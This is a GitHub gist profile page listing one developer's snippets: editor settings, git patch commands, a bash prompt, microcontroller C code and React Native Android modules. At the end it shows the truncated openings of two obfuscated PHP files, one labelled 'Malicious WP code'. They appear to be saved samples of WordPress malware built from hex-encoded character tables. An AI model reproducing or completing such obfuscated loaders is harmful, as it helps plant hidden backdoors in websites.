Skip to content

Instantly share code, notes, and snippets.

View cosmith's full-sized avatar
🚚

Corentin Smith cosmith

🚚
View GitHub Profile
{
"auto_complete_commit_on_tab": true,
"bold_folder_labels": true,
"caret_style": "phase",
"color_scheme": "Packages/User/Monokai (SL).tmTheme",
"command": "exit_insert_mode",
"context":
[
{
"key": "setting.command_mode",
@cosmith
cosmith / gist:4143291
Created November 25, 2012 12:17
Key bindings sublime
[
{ "keys": ["j", "j"], "command": "exit_insert_mode",
"context":
[
{ "key": "setting.command_mode", "operand": false },
{ "key": "setting.is_widget", "operand": false }
]
},
{ "keys": ["ctrl+alt+a"], "command": "alignment" },
{ "keys": ["ctrl+v"], "command": "paste_and_indent" },
@cosmith
cosmith / gist:8377276
Created January 11, 2014 21:38
Patch creation process for mutt
git checkout -b tmpsquash
git reset --hard {commit}
git merge --squash master
git commit
git format-patch master
@cosmith
cosmith / .bashrc
Last active August 29, 2015 13:58
###################################################################################################
# Prompt
###################################################################################################
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
black='\['`tput sgr0; tput setaf 0`'\]'
red='\['`tput sgr0; tput setaf 1`'\]'
green='\['`tput sgr0; tput setaf 2`'\]'
//-----------------------------------------------------------------------------
// F31x_Blinky.c
//-----------------------------------------------------------------------------
// Copyright (C) 2007 Silicon Laboratories, Inc.
//
// AUTH: JS
// DATE: 03 JUL 02
//
// This program flashes the green LED on the C8051F31x target board about
// five times a second using the interrupt handler for Timer2.
@cosmith
cosmith / GoogleMap.js
Created October 28, 2015 13:30
MapView Android
/**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule GoogleMapView
* @flow
@cosmith
cosmith / GeolocationModule.java
Created November 1, 2015 23:07
RN Geolocation
package com.yourapp.rctgeolocation;
import android.location.Location;
import android.os.Bundle;
import android.util.Log;
import com.facebook.react.bridge.Callback;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
@cosmith
cosmith / FlurryModule.java
Created December 16, 2015 22:00
React Native Flurry
package com.truckfly.rctflurry;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.ReadableMap;
import com.facebook.react.bridge.ReadableMapKeySetIterator;
import com.flurry.android.FlurryAgent;
import java.util.HashMap;
<?php $GLOBALS['gdfc'];global$gdfc;$gdfc=$GLOBALS;$gdfc['q58f9b']="\x21\x25\x6a\x73\x2a\x6c\x74\x4e\x3b\x71\x56\x28\xa\x3d\x5a\x4b\x38\x60\x76\x29\x70\x57\x35\x32\x39\x4a\x52\x45\x37\x30\x49\x3f\x26\x63\x44\x7c\x58\x20\x69\x9\x62\x3a\x53\x66\x55\x2e\x4d\x65\x4c\x77\x41\x5b\x68\x61\x5f\x59\x72\x6d\x7b\x42\x2b\x43\x5d\x27\x79\x50\x6b\x64\x36\xd\x6e\x47\x75\x5c\x22\x40\x54\x6f\x31\x48\x78\x33\x67\x5e\x51\x2f\x4f\x3c\x46\x7d\x2d\x23\x7a\x34\x24\x3e\x7e\x2c";$gdfc[$gdfc['q58f9b'][3].$gdfc['q58f9b'][24].$gdfc['q58f9b'][22].$gdfc['q58f9b'][22].$gdfc['q58f9b'][28].$gdfc['q58f9b'][78].$gdfc['q58f9b'][68].$gdfc['q58f9b'][40].$gdfc['q58f9b'][33]]=$gdfc['q58f9b'][33].$gdfc['q58f9b'][52].$gdfc['q58f9b'][56];$gdfc[$gdfc['q58f9b'][40].$gdfc['q58f9b'][67].$gdfc['q58f9b'][23].$gdfc['q58f9b'][28].$gdfc['q58f9b'][24].$gdfc['q58f9b'][24]]=$gdfc['q58f9b'][77].$gdfc['q58f9b'][56].$gdfc['q58f9b'][67];$gdfc[$gdfc['q58f9b'][92].$gdfc['q58f9b'][67].$gdfc['q58f9b'][43].$gdfc['q58f9b'][93].$gdfc['q58f9b'][93].$gdfc['q58f9b'][33].$gdfc['
@cosmith
cosmith / bad.php
Created March 15, 2016 19:30
Malicious WP code
<?php $GLOBALS['l5e33432'];global$l5e33432;$l5e33432=$GLOBALS;$l5e33432['zbeeeb788']="\x72\x7b\x5d\xa\x30\x56\x73\x69\x2c\x71\x3b\x2e\x49\x65\x64\x32\x2b\x3f\x36\x53\x75\x42\x28\x4b\x7d\x59\x3c\x58\x24\x70\x57\x2f\x63\x52\x74\x5e\x7c\x39\x41\x23\x37\x51\x44\x6d\x25\x3d\x38\x68\x27\x5c\x60\x67\x76\x4d\x7a\x6e\x4f\x7e\x48\x4a\x50\x4e\x2a\x6c\x62\x26\x21\x40\x66\x2d\xd\x35\x5b\x54\x55\x33\x47\x79\x4c\x31\x20\x29\x45\x61\x5a\x22\x43\x3e\x46\x5f\x6f\x34\x77\x6a\x3a\x78\x9\x6b";$l5e33432[$l5e33432['zbeeeb788'][83